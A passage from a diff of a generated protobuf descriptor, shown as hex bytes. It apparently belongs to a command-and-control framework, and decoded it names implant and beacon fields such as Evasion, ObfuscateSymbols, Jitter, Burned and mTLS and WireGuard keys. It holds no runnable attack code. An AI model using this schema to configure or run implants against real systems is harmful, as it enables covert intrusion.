0x6e, 0x12, 0x16, + 0x0a, 0x06, 0x49, 0x73, 0x44, 0x65, 0x61, 0x64, 0x18, 0x12, 0x20, 0x01, 0x28, 0x08, 0x52, 0x06, + 0x49, 0x73, 0x44, 0x65, 0x61, 0x64, 0x12, 0x2c, 0x0a, 0x11, 0x52, 0x65, 0x63, 0x6f, 0x6e, 0x6e, + 0x65, 0x63, 0x74, 0x49, 0x6e, 0x74, 0x65, 0x72, 0x76, 0x61, 0x6c, 0x18, 0x13, 0x20, 0x01, 0x28, 0x03, 0x52, 0x11, 0x52, 0x65, 0x63, 0x6f, 0x6e, 0x6e, 0x65, 0x63, 0x74, 0x49, 0x6e, 0x74, 0x65, - 0x72, 0x76, 0x61, 0x6c, 0x12, 0x1a, 0x0a, 0x08, 0x49, 0x6e, 0x74, 0x65, 0x72, 0x76, 0x61, 0x6c, - 0x18, 0x16, 0x20, 0x01, 0x28, 0x03, 0x52, 0x08, 0x49, 0x6e, 0x74, 0x65, 0x72, 0x76, 0x61, 0x6c, - 0x12, 0x16, 0x0a, 0x06, 0x4a, 0x69, 0x74, 0x74, 0x65, 0x72, 0x18, 0x17, 0x20, 0x01, 0x28, 0x03, - 0x52, 0x06, 0x4a, 0x69, 0x74, 0x74, 0x65, 0x72, 0x12, 0x16, 0x0a, 0x06, 0x42, 0x75, 0x72, 0x6e, - 0x65, 0x64, 0x18, 0x18, 0x20, 0x01, 0x28, 0x08, 0x52, 0x06, 0x42, 0x75, 0x72, 0x6e, 0x65, 0x64, - 0x12, 0x20, 0x0a, 0x0b, 0x4e, 0x65, 0x78, 0x74, 0x43, 0x68, 0x65, 0x63, 0x6b, 0x69, 0x6e, 0x18, - 0x19, 0x20, 0x01, 0x28, 0x03, 0x52, 0x0b, 0x4e, 0x65, 0x78, 0x74, 0x43, 0x68, 0x65, 0x63, 0x6b, - 0x69, 0x6e, 0x12, 0x1e, 0x0a, 0x0a, 0x54, 0x61, 0x73, 0x6b, 0x73, 0x43, 0x6f, 0x75, 0x6e, 0x74, - 0x18, 0x1a, 0x20, 0x01, 0x28, 0x03, 0x52, 0x0a, 0x54, 0x61, 0x73, 0x6b, 0x73, 0x43, 0x6f, 0x75, - 0x6e, 0x74, 0x12, 0x30, 0x0a, 0x13, 0x54, 0x61, 0x73, 0x6b, 0x73, 0x43, 0x6f, 0x75, 0x6e, 0x74, - 0x43, 0x6f, 0x6d, 0x70, 0x6c, 0x65, 0x74, 0x65, 0x64, 0x18, 0x1b, 0x20, 0x01, 0x28, 0x03, 0x52, - 0x13, 0x54, 0x61, 0x73, 0x6b, 0x73, 0x43, 0x6f, 0x75, 0x6e, 0x74, 0x43, 0x6f, 0x6d, 0x70, 0x6c, - 0x65, 0x74, 0x65, 0x64, 0x12, 0x16, 0x0a, 0x06, 0x4c, 0x6f, 0x63, 0x61, 0x6c, 0x65, 0x18, 0x1c, - 0x20, 0x01, 0x28, 0x09, 0x52, 0x06, 0x4c, 0x6f, 0x63, 0x61, 0x6c, 0x65, 0x12, 0x22, 0x0a, 0x0c, - 0x46, 0x69, 0x72, 0x73, 0x74, 0x43, 0x6f, 0x6e, 0x74, 0x61, 0x63, 0x74, 0x18, 0x1d, 0x20, 0x01, - 0x28, 0x03, 0x52, 0x0c, 0x46, 0x69, 0x72, 0x73, 0x74, 0x43, 0x6f, 0x6e, 0x74, 0x61, 0x63, 0x74, - 0x22, 0x35, 0x0a, 0x07, 0x42, 0x65, 0x61, 0x63, 0x6f, 0x6e, 0x73, 0x12, 0x2a, 0x0a, 0x07, 0x42, - 0x65, 0x61, 0x63, 0x6f, 0x6e, 0x73, 0x18, 0x02, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x10, 0x2e, 0x63, - 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x42, 0x65, 0x61, 0x63, 0x6f, 0x6e, 0x52, 0x07, - 0x42, 0x65, 0x61, 0x63, 0x6f, 0x6e, 0x73, 0x22, 0xfe, 0x01, 0x0a, 0x0a, 0x42, 0x65, 0x61, 0x63, - 0x6f, 0x6e, 0x54, 0x61, 0x73, 0x6b, 0x12, 0x0e, 0x0a, 0x02, 0x49, 0x44, 0x18, 0x01, 0x20, 0x01, - 0x28, 0x09, 0x52, 0x02, 0x49, 0x44, 0x12, 0x1a, 0x0a, 0x08, 0x42, 0x65, 0x61, 0x63, 0x6f, 0x6e, - 0x49, 0x44, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x42, 0x65, 0x61, 0x63, 0x6f, 0x6e, - 0x49, 0x44, 0x12, 0x1c, 0x0a, 0x09, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x64, 0x41, 0x74, 0x18, - 0x03, 0x20, 0x01, 0x28, 0x03, 0x52, 0x09, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x64, 0x41, 0x74, - 0x12, 0x14, 0x0a, 0x05, 0x53, 0x74, 0x61, 0x74, 0x65, 0x18, 0x04, 0x20, 0x01, 0x28, 0x09, 0x52, - 0x05, 0x53, 0x74, 0x61, 0x74, 0x65, 0x12, 0x16, 0x0a, 0x06, 0x53, 0x65, 0x6e, 0x74, 0x41, 0x74, - 0x18, 0x05, 0x20, 0x01, 0x28, 0x03, 0x52, 0x06, 0x53, 0x65, 0x6e, 0x74, 0x41, 0x74, 0x12, 0x20, - 0x0a, 0x0b, 0x43, 0x6f, 0x6d, 0x70, 0x6c, 0x65, 0x74, 0x65, 0x64, 0x41, 0x74, 0x18, 0x06, 0x20, - 0x01, 0x28, 0x03, 0x52, 0x0b, 0x43, 0x6f, 0x6d, 0x70, 0x6c, 0x65, 0x74, 0x65, 0x64, 0x41, 0x74, - 0x12, 0x18, 0x0a, 0x07, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x18, 0x07, 0x20, 0x01, 0x28, - 0x0c, 0x52, 0x07, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x1a, 0x0a, 0x08, 0x52, 0x65, - 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x18, 0x08, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x08, 0x52, 0x65, - 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x20, 0x0a, 0x0b, 0x44, 0x65, 0x73, 0x63, 0x72, 0x69, - 0x70, 0x74, 0x69, 0x6f, 0x6e, 0x18, 0x09, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0b, 0x44, 0x65, 0x73, - 0x63, 0x72, 0x69, 0x70, 0x74, 0x69, 0x6f, 0x6e, 0x22, 0x55, 0x0a, 0x0b, 0x42, 0x65, 0x61, 0x63, - 0x6f, 0x6e, 0x54, 0x61, 0x73, 0x6b, 0x73, 0x12, 0x1a, 0x0a, 0x08, 0x42, 0x65, 0x61, 0x63, 0x6f, - 0x6e, 0x49, 0x44, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x42, 0x65, 0x61, 0x63, 0x6f, - 0x6e, 0x49, 0x44, 0x12, 0x2a, 0x0a, 0x05, 0x54, 0x61, 0x73, 0x6b, 0x73, 0x18, 0x02, 0x20, 0x03, - 0x28, 0x0b, 0x32, 0x14, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x42, 0x65, - 0x61, 0x63, 0x6f, 0x6e, 0x54, 0x61, 0x73, 0x6b, 0x52, 0x05, 0x54, 0x61, 0x73, 0x6b, 0x73, 0x22, - 0x53, 0x0a, 0x09, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x43, 0x32, 0x12, 0x1a, 0x0a, 0x08, - 0x50, 0x72, 0x69, 0x6f, 0x72, 0x69, 0x74, 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x08, - 0x50, 0x72, 0x69, 0x6f, 0x72, 0x69, 0x74, 0x79, 0x12, 0x10, 0x0a, 0x03, 0x55, 0x52, 0x4c, 0x18, - 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x03, 0x55, 0x52, 0x4c, 0x12, 0x18, 0x0a, 0x07, 0x4f, 0x70, - 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x18, 0x03, 0x20, 0x01, 0x28, 0x09, 0x52, 0x07, 0x4f, 0x70, 0x74, - 0x69, 0x6f, 0x6e, 0x73, 0x22, 0xfb, 0x0d, 0x0a, 0x0d, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, - 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x12, 0x0e, 0x0a, 0x02, 0x49, 0x44, 0x18, 0x01, 0x20, 0x01, - 0x28, 0x09, 0x52, 0x02, 0x49, 0x44, 0x12, 0x1a, 0x0a, 0x08, 0x49, 0x73, 0x42, 0x65, 0x61, 0x63, - 0x6f, 0x6e, 0x18, 0x02, 0x20, 0x01, 0x28, 0x08, 0x52, 0x08, 0x49, 0x73, 0x42, 0x65, 0x61, 0x63, - 0x6f, 0x6e, 0x12, 0x26, 0x0a, 0x0e, 0x42, 0x65, 0x61, 0x63, 0x6f, 0x6e, 0x49, 0x6e, 0x74, 0x65, - 0x72, 0x76, 0x61, 0x6c, 0x18, 0x03, 0x20, 0x01, 0x28, 0x03, 0x52, 0x0e, 0x42, 0x65, 0x61, 0x63, - 0x6f, 0x6e, 0x49, 0x6e, 0x74, 0x65, 0x72, 0x76, 0x61, 0x6c, 0x12, 0x22, 0x0a, 0x0c, 0x42, 0x65, - 0x61, 0x63, 0x6f, 0x6e, 0x4a, 0x69, 0x74, 0x74, 0x65, 0x72, 0x18, 0x04, 0x20, 0x01, 0x28, 0x03, - 0x52, 0x0c, 0x42, 0x65, 0x61, 0x63, 0x6f, 0x6e, 0x4a, 0x69, 0x74, 0x74, 0x65, 0x72, 0x12, 0x12, - 0x0a, 0x04, 0x47, 0x4f, 0x4f, 0x53, 0x18, 0x05, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x47, 0x4f, - 0x4f, 0x53, 0x12, 0x16, 0x0a, 0x06, 0x47, 0x4f, 0x41, 0x52, 0x43, 0x48, 0x18, 0x06, 0x20, 0x01, - 0x28, 0x09, 0x52, 0x06, 0x47, 0x4f, 0x41, 0x52, 0x43, 0x48, 0x12, 0x12, 0x0a, 0x04, 0x4e, 0x61, - 0x6d, 0x65, 0x18, 0x07, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x14, - 0x0a, 0x05, 0x44, 0x65, 0x62, 0x75, 0x67, 0x18, 0x08, 0x20, 0x01, 0x28, 0x08, 0x52, 0x05, 0x44, - 0x65, 0x62, 0x75, 0x67, 0x12, 0x18, 0x0a, 0x07, 0x45, 0x76, 0x61, 0x73, 0x69, 0x6f, 0x6e, 0x18, - 0x09, 0x20, 0x01, 0x28, 0x08, 0x52, 0x07, 0x45, 0x76, 0x61, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x2a, - 0x0a, 0x10, 0x4f, 0x62, 0x66, 0x75, 0x73, 0x63, 0x61, 0x74, 0x65, 0x53, 0x79, 0x6d, 0x62, 0x6f, - 0x6c, 0x73, 0x18, 0x0a, 0x20, 0x01, 0x28, 0x08, 0x52, 0x10, 0x4f, 0x62, 0x66, 0x75, 0x73, 0x63, - 0x61, 0x74, 0x65, 0x53, 0x79, 0x6d, 0x62, 0x6f, 0x6c, 0x73, 0x12, 0x22, 0x0a, 0x0c, 0x54, 0x65, - 0x6d, 0x70, 0x6c, 0x61, 0x74, 0x65, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x0b, 0x20, 0x01, 0x28, 0x09, - 0x52, 0x0c, 0x54, 0x65, 0x6d, 0x70, 0x6c, 0x61, 0x74, 0x65, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x1e, - 0x0a, 0x0a, 0x53, 0x47, 0x4e, 0x45, 0x6e, 0x61, 0x62, 0x6c, 0x65, 0x64, 0x18, 0x0c, 0x20, 0x01, - 0x28, 0x08, 0x52, 0x0a, 0x53, 0x47, 0x4e, 0x45, 0x6e, 0x61, 0x62, 0x6c, 0x65, 0x64, 0x12, 0x1e, - 0x0a, 0x0a, 0x4d, 0x74, 0x6c, 0x73, 0x43, 0x41, 0x43, 0x65, 0x72, 0x74, 0x18, 0x14, 0x20, 0x01, - 0x28, 0x09, 0x52, 0x0a, 0x4d, 0x74, 0x6c, 0x73, 0x43, 0x41, 0x43, 0x65, 0x72, 0x74, 0x12, 0x1a, - 0x0a, 0x08, 0x4d, 0x74, 0x6c, 0x73, 0x43, 0x65, 0x72, 0x74, 0x18, 0x15, 0x20, 0x01, 0x28, 0x09, - 0x52, 0x08, 0x4d, 0x74, 0x6c, 0x73, 0x43, 0x65, 0x72, 0x74, 0x12, 0x18, 0x0a, 0x07, 0x4d, 0x74, - 0x6c, 0x73, 0x4b, 0x65, 0x79, 0x18, 0x16, 0x20, 0x01, 0x28, 0x09, 0x52, 0x07, 0x4d, 0x74, 0x6c, - 0x73, 0x4b, 0x65, 0x79, 0x12, 0x2e, 0x0a, 0x12, 0x41, 0x67, 0x65, 0x53, 0x65, 0x72, 0x76, 0x65, - 0x72, 0x50, 0x75, 0x62, 0x6c, 0x69, 0x63, 0x4b, 0x65, 0x79, 0x18, 0x17, 0x20, 0x01, 0x28, 0x09, - 0x52, 0x12, 0x41, 0x67, 0x65, 0x53, 0x65, 0x72, 0x76, 0x65, 0x72, 0x50, 0x75, 0x62, 0x6c, 0x69, - 0x63, 0x4b, 0x65, 0x79, 0x12, 0x24, 0x0a, 0x0d, 0x50, 0x65, 0x65, 0x72, 0x50, 0x75, 0x62, 0x6c, - 0x69, 0x63, 0x4b, 0x65, 0x79, 0x18, 0x18, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0d, 0x50, 0x65, 0x65, - 0x72, 0x50, 0x75, 0x62, 0x6c, 0x69, 0x63, 0x4b, 0x65, 0x79, 0x12, 0x26, 0x0a, 0x0e, 0x50, 0x65, - 0x65, 0x72, 0x50, 0x72, 0x69, 0x76, 0x61, 0x74, 0x65, 0x4b, 0x65, 0x79, 0x18, 0x19, 0x20, 0x01, - 0x28, 0x09, 0x52, 0x0e, 0x50, 0x65, 0x65, 0x72, 0x50, 0x72, 0x69, 0x76, 0x61, 0x74, 0x65, 0x4b, - 0x65, 0x79, 0x12, 0x36, 0x0a, 0x16, 0x50, 0x65, 0x65, 0x72, 0x50, 0x75, 0x62, 0x6c, 0x69, 0x63, - 0x4b, 0x65, 0x79, 0x53, 0x69, 0x67, 0x6e, 0x61, 0x74, 0x75, 0x72, 0x65, 0x18, 0x1a, 0x20, 0x01, - 0x28, 0x09, 0x52, 0x16, 0x50, 0x65, 0x65, 0x72, 0x50, 0x75, 0x62, 0x6c, 0x69, 0x63, 0x4b, 0x65, - 0x79, 0x53, 0x69, 0x67, 0x6e, 0x61, 0x74, 0x75, 0x72, 0x65, 0x12, 0x38, 0x0a, 0x17, 0x4d, 0x69, - 0x6e, 0x69, 0x73, 0x69, 0x67, 0x6e, 0x53, 0x65, 0x72, 0x76, 0x65, 0x72, 0x50, 0x75, 0x62, 0x6c, - 0x69, 0x63, 0x4b, 0x65, 0x79, 0x18, 0x1b, 0x20, 0x01, 0x28, 0x09, 0x52, 0x17, 0x4d, 0x69, 0x6e, - 0x69, 0x73, 0x69, 0x67, 0x6e, 0x53, 0x65, 0x72, 0x76, 0x65, 0x72, 0x50, 0x75, 0x62, 0x6c, 0x69, - 0x63, 0x4b, 0x65, 0x79, 0x12, 0x2a, 0x0a, 0x10, 0x57, 0x47, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, - 0x74, 0x50, 0x72, 0x69, 0x76, 0x4b, 0x65, 0x79, 0x18, 0x1e, 0x20, 0x01, 0x28, 0x09, 0x52, 0x10, - 0x57, 0x47, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x50, 0x72, 0x69, 0x76, 0x4b, 0x65, 0x79, - 0x12, 0x26, 0x0a, 0x0e, 0x57, 0x47, 0x53, 0x65, 0x72, 0x76, 0x65, 0x72, 0x50, 0x75, 0x62, 0x4b, - 0x65, 0x79, 0x18, 0x1f, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0e, 0x57, 0x47, 0x53, 0x65, 0x72, 0x76, - 0x65, 0x72, 0x50, 0x75, 0x62, 0x4b, 0x65, 0x79, 0x12, 0x20, 0x0a, 0x0b, 0x57, 0x47, 0x50, 0x65, - 0x65, 0x72, 0x54, 0x75, 0x6e, 0x49, 0x50, 0x18, 0x20, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0b, 0x57, - 0x47, 0x50, 0x65, 0x65, 0x72, 0x54, 0x75, 0x6e, 0x49, 0x50, 0x12, 0x2c, 0x0a, 0x11, 0x57, 0x47, - 0x4b, 0x65, 0x79, 0x45, 0x78, 0x63, 0x68, 0x61, 0x6e, 0x67, 0x65, 0x50, 0x6f, 0x72, 0x74, 0x18, - 0x21, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x11, 0x57, 0x47, 0x4b, 0x65, 0x79, 0x45, 0x78, 0x63, 0x68, - 0x61, 0x6e, 0x67, 0x65, 0x50, 0x6f, 0x72, 0x74, 0x12, 0x26, 0x0a, 0x0e, 0x57, 0x47, 0x54, 0x63, - 0x70, 0x43, 0x6f, 0x6d, 0x6d, 0x73, 0x50, 0x6f, 0x72, 0x74, 0x18, 0x22, 0x20, 0x01, 0x28, 0x0d, - 0x52, 0x0e, 0x57, 0x47, 0x54, 0x63, 0x70, 0x43, 0x6f, 0x6d, 0x6d, 0x73, 0x50, 0x6f, 0x72, 0x74, - 0x12, 0x2c, 0x0a, 0x11, 0x52, 0x65, 0x63, 0x6f, 0x6e, 0x6e, 0x65, 0x63, 0x74, 0x49, 0x6e, 0x74, - 0x65, 0x72, 0x76, 0x61, 0x6c, 0x18, 0x28, 0x20, 0x01, 0x28, 0x03, 0x52, 0x11, 0x52, 0x65, 0x63, - 0x6f, 0x6e, 0x6e, 0x65, 0x63, 0x74, 0x49, 0x6e, 0x74, 0x65, 0x72, 0x76, 0x61, 0x6c, 0x12, 0x30, - 0x0a, 0x13, 0x4d, 0x61, 0x78, 0x43, 0x6f, 0x6e, 0x6e, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x45, - 0x72, 0x72, 0x6f, 0x72, 0x73, 0x18, 0x29, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x13, 0x4d, 0x61, 0x78, + 0x72, 0x76, 0x61, 0x6c, 0x12, 0x1a, 0x0a, 0x08, 0x50, 0x72, 0x6f, 0x78, 0x79, 0x55, 0x52, 0x4c, + 0x18, 0x14, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x50, 0x72, 0x6f, 0x78, 0x79, 0x55, 0x52, 0x4c, + 0x12, 0x16, 0x0a, 0x06, 0x42, 0x75, 0x72, 0x6e, 0x65, 0x64, 0x18, 0x16, 0x20, 0x01, 0x28, 0x08, + 0x52, 0x06, 0x42, 0x75, 0x72, 0x6e, 0x65, 0x64, 0x12, 0x1e, 0x0a, 0x0a, 0x45, 0x78, 0x74, 0x65, + 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x73, 0x18, 0x17, 0x20, 0x03, 0x28, 0x09, 0x52, 0x0a, 0x45, 0x78, + 0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x73, 0x12, 0x16, 0x0a, 0x06, 0x50, 0x65, 0x65, 0x72, + 0x49, 0x44, 0x18, 0x19, 0x20, 0x01, 0x28, 0x03, 0x52, 0x06, 0x50, 0x65, 0x65, 0x72, 0x49, 0x44, + 0x12, 0x16, 0x0a, 0x06, 0x4c, 0x6f, 0x63, 0x61, 0x6c, 0x65, 0x18, 0x1a, 0x20, 0x01, 0x28, 0x09, + 0x52, 0x06, 0x4c, 0x6f, 0x63, 0x61, 0x6c, 0x65, 0x12, 0x22, 0x0a, 0x0c, 0x46, 0x69, 0x72, 0x73, + 0x74, 0x43, 0x6f, 0x6e, 0x74, 0x61, 0x63, 0x74, 0x18, 0x1b, 0x20, 0x01, 0x28, 0x03, 0x52, 0x0c, + 0x46, 0x69, 0x72, 0x73, 0x74, 0x43, 0x6f, 0x6e, 0x74, 0x61, 0x63, 0x74, 0x22, 0x82, 0x06, 0x0a, + 0x06, 0x42, 0x65, 0x61, 0x63, 0x6f, 0x6e, 0x12, 0x0e, 0x0a, 0x02, 0x49, 0x44, 0x18, 0x01, 0x20, + 0x01, 0x28, 0x09, 0x52, 0x02, 0x49, 0x44, 0x12, 0x12, 0x0a, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x18, + 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x1a, 0x0a, 0x08, 0x48, + 0x6f, 0x73, 0x74, 0x6e, 0x61, 0x6d, 0x65, 0x18, 0x03, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x48, + 0x6f, 0x73, 0x74, 0x6e, 0x61, 0x6d, 0x65, 0x12, 0x12, 0x0a, 0x04, 0x55, 0x55, 0x49, 0x44, 0x18, + 0x04, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x55, 0x55, 0x49, 0x44, 0x12, 0x1a, 0x0a, 0x08, 0x55, + 0x73, 0x65, 0x72, 0x6e, 0x61, 0x6d, 0x65, 0x18, 0x05, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x55, + 0x73, 0x65, 0x72, 0x6e, 0x61, 0x6d, 0x65, 0x12, 0x10, 0x0a, 0x03, 0x55, 0x49, 0x44, 0x18, 0x06, + 0x20, 0x01, 0x28, 0x09, 0x52, 0x03, 0x55, 0x49, 0x44, 0x12, 0x10, 0x0a, 0x03, 0x47, 0x49, 0x44, + 0x18, 0x07, 0x20, 0x01, 0x28, 0x09, 0x52, 0x03, 0x47, 0x49, 0x44, 0x12, 0x0e, 0x0a, 0x02, 0x4f, + 0x53, 0x18, 0x08, 0x20, 0x01, 0x28, 0x09, 0x52, 0x02, 0x4f, 0x53, 0x12, 0x12, 0x0a, 0x04, 0x41, + 0x72, 0x63, 0x68, 0x18, 0x09, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x41, 0x72, 0x63, 0x68, 0x12, + 0x1c, 0x0a, 0x09, 0x54, 0x72, 0x61, 0x6e, 0x73, 0x70, 0x6f, 0x72, 0x74, 0x18, 0x0a, 0x20, 0x01, + 0x28, 0x09, 0x52, 0x09, 0x54, 0x72, 0x61, 0x6e, 0x73, 0x70, 0x6f, 0x72, 0x74, 0x12, 0x24, 0x0a, + 0x0d, 0x52, 0x65, 0x6d, 0x6f, 0x74, 0x65, 0x41, 0x64, 0x64, 0x72, 0x65, 0x73, 0x73, 0x18, 0x0b, + 0x20, 0x01, 0x28, 0x09, 0x52, 0x0d, 0x52, 0x65, 0x6d, 0x6f, 0x74, 0x65, 0x41, 0x64, 0x64, 0x72, + 0x65, 0x73, 0x73, 0x12, 0x10, 0x0a, 0x03, 0x50, 0x49, 0x44, 0x18, 0x0c, 0x20, 0x01, 0x28, 0x05, + 0x52, 0x03, 0x50, 0x49, 0x44, 0x12, 0x1a, 0x0a, 0x08, 0x46, 0x69, 0x6c, 0x65, 0x6e, 0x61, 0x6d, + 0x65, 0x18, 0x0d, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x46, 0x69, 0x6c, 0x65, 0x6e, 0x61, 0x6d, + 0x65, 0x12, 0x20, 0x0a, 0x0b, 0x4c, 0x61, 0x73, 0x74, 0x43, 0x68, 0x65, 0x63, 0x6b, 0x69, 0x6e, + 0x18, 0x0e, 0x20, 0x01, 0x28, 0x03, 0x52, 0x0b, 0x4c, 0x61, 0x73, 0x74, 0x43, 0x68, 0x65, 0x63, + 0x6b, 0x69, 0x6e, 0x12, 0x1a, 0x0a, 0x08, 0x41, 0x63, 0x74, 0x69, 0x76, 0x65, 0x43, 0x32, 0x18, + 0x0f, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x41, 0x63, 0x74, 0x69, 0x76, 0x65, 0x43, 0x32, 0x12, + 0x18, 0x0a, 0x07, 0x56, 0x65, 0x72, 0x73, 0x69, 0x6f, 0x6e, 0x18, 0x10, 0x20, 0x01, 0x28, 0x09, + 0x52, 0x07, 0x56, 0x65, 0x72, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x18, 0x0a, 0x07, 0x45, 0x76, 0x61, + 0x73, 0x69, 0x6f, 0x6e, 0x18, 0x11, 0x20, 0x01, 0x28, 0x08, 0x52, 0x07, 0x45, 0x76, 0x61, 0x73, + 0x69, 0x6f, 0x6e, 0x12, 0x16, 0x0a, 0x06, 0x49, 0x73, 0x44, 0x65, 0x61, 0x64, 0x18, 0x12, 0x20, + 0x01, 0x28, 0x08, 0x52, 0x06, 0x49, 0x73, 0x44, 0x65, 0x61, 0x64, 0x12, 0x1a, 0x0a, 0x08, 0x50, + 0x72, 0x6f, 0x78, 0x79, 0x55, 0x52, 0x4c, 0x18, 0x14, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x50, + 0x72, 0x6f, 0x78, 0x79, 0x55, 0x52, 0x4c, 0x12, 0x2c, 0x0a, 0x11, 0x52, 0x65, 0x63, 0x6f, 0x6e, + 0x6e, 0x65, 0x63, 0x74, 0x49, 0x6e, 0x74, 0x65, 0x72, 0x76, 0x61, 0x6c, 0x18, 0x15, 0x20, 0x01, + 0x28, 0x03, 0x52, 0x11, 0x52, 0x65, 0x63, 0x6f, 0x6e, 0x6e, 0x65, 0x63, 0x74, 0x49, 0x6e, 0x74, + 0x65, 0x72, 0x76, 0x61, 0x6c, 0x12, 0x1a, 0x0a, 0x08, 0x49, 0x6e, 0x74, 0x65, 0x72, 0x76, 0x61, + 0x6c, 0x18, 0x16, 0x20, 0x01, 0x28, 0x03, 0x52, 0x08, 0x49, 0x6e, 0x74, 0x65, 0x72, 0x76, 0x61, + 0x6c, 0x12, 0x16, 0x0a, 0x06, 0x4a, 0x69, 0x74, 0x74, 0x65, 0x72, 0x18, 0x17, 0x20, 0x01, 0x28, + 0x03, 0x52, 0x06, 0x4a, 0x69, 0x74, 0x74, 0x65, 0x72, 0x12, 0x16, 0x0a, 0x06, 0x42, 0x75, 0x72, + 0x6e, 0x65, 0x64, 0x18, 0x18, 0x20, 0x01, 0x28, 0x08, 0x52, 0x06, 0x42, 0x75, 0x72, 0x6e, 0x65, + 0x64, 0x12, 0x20, 0x0a, 0x0b, 0x4e, 0x65, 0x78, 0x74, 0x43, 0x68, 0x65, 0x63, 0x6b, 0x69, 0x6e, + 0x18, 0x19, 0x20, 0x01, 0x28, 0x03, 0x52, 0x0b, 0x4e, 0x65, 0x78, 0x74, 0x43, 0x68, 0x65, 0x63, + 0x6b, 0x69, 0x6e, 0x12, 0x1e, 0x0a, 0x0a, 0x54, 0x61, 0x73, 0x6b, 0x73, 0x43, 0x6f, 0x75, 0x6e, + 0x74, 0x18, 0x1a, 0x20, 0x01, 0x28, 0x03, 0x52, 0x0a, 0x54, 0x61, 0x73, 0x6b, 0x73, 0x43, 0x6f, + 0x75, 0x6e, 0x74, 0x12, 0x30, 0x0a, 0x13, 0x54, 0x61, 0x73, 0x6b, 0x73, 0x43, 0x6f, 0x75, 0x6e, + 0x74, 0x43, 0x6f, 0x6d, 0x70, 0x6c, 0x65, 0x74, 0x65, 0x64, 0x18, 0x1b, 0x20, 0x01, 0x28, 0x03, + 0x52, 0x13, 0x54, 0x61, 0x73, 0x6b, 0x73, 0x43, 0x6f, 0x75, 0x6e, 0x74, 0x43, 0x6f, 0x6d, 0x70, + 0x6c, 0x65, 0x74, 0x65, 0x64, 0x12, 0x16, 0x0a, 0x06, 0x4c, 0x6f, 0x63, 0x61, 0x6c, 0x65, 0x18, + 0x1c, 0x20, 0x01, 0x28, 0x09, 0x52, 0x06, 0x4c, 0x6f, 0x63, 0x61, 0x6c, 0x65, 0x12, 0x22, 0x0a, + 0x0c, 0x46, 0x69, 0x72, 0x73, 0x74, 0x43, 0x6f, 0x6e, 0x74, 0x61, 0x63, 0x74, 0x18, 0x1d, 0x20, + 0x01, 0x28, 0x03, 0x52, 0x0c, 0x46, 0x69, 0x72, 0x73, 0x74, 0x43, 0x6f, 0x6e, 0x74, 0x61, 0x63, + 0x74, 0x22, 0x35, 0x0a, 0x07, 0x42, 0x65, 0x61, 0x63, 0x6f, 0x6e, 0x73, 0x12, 0x2a, 0x0a, 0x07, + 0x42, 0x65, 0x61, 0x63, 0x6f, 0x6e, 0x73, 0x18, 0x02, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x10, 0x2e, + 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x42, 0x65, 0x61, 0x63, 0x6f, 0x6e, 0x52, + 0x07, 0x42, 0x65, 0x61, 0x63, 0x6f, 0x6e, 0x73, 0x22, 0x98, 0x02, 0x0a, 0x0a, 0x42, 0x65, 0x61, + 0x63, 0x6f, 0x6e, 0x54, 0x61, 0x73, 0x6b, 0x12, 0x0e, 0x0a, 0x02, 0x49, 0x44, 0x18, 0x01, 0x20, + 0x01, 0x28, 0x09, 0x52, 0x02, 0x49, 0x44, 0x12, 0x1a, 0x0a, 0x08, 0x42, 0x65, 0x61, 0x63, 0x6f, + 0x6e, 0x49, 0x44, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x42, 0x65, 0x61, 0x63, 0x6f, + 0x6e, 0x49, 0x44, 0x12, 0x1c, 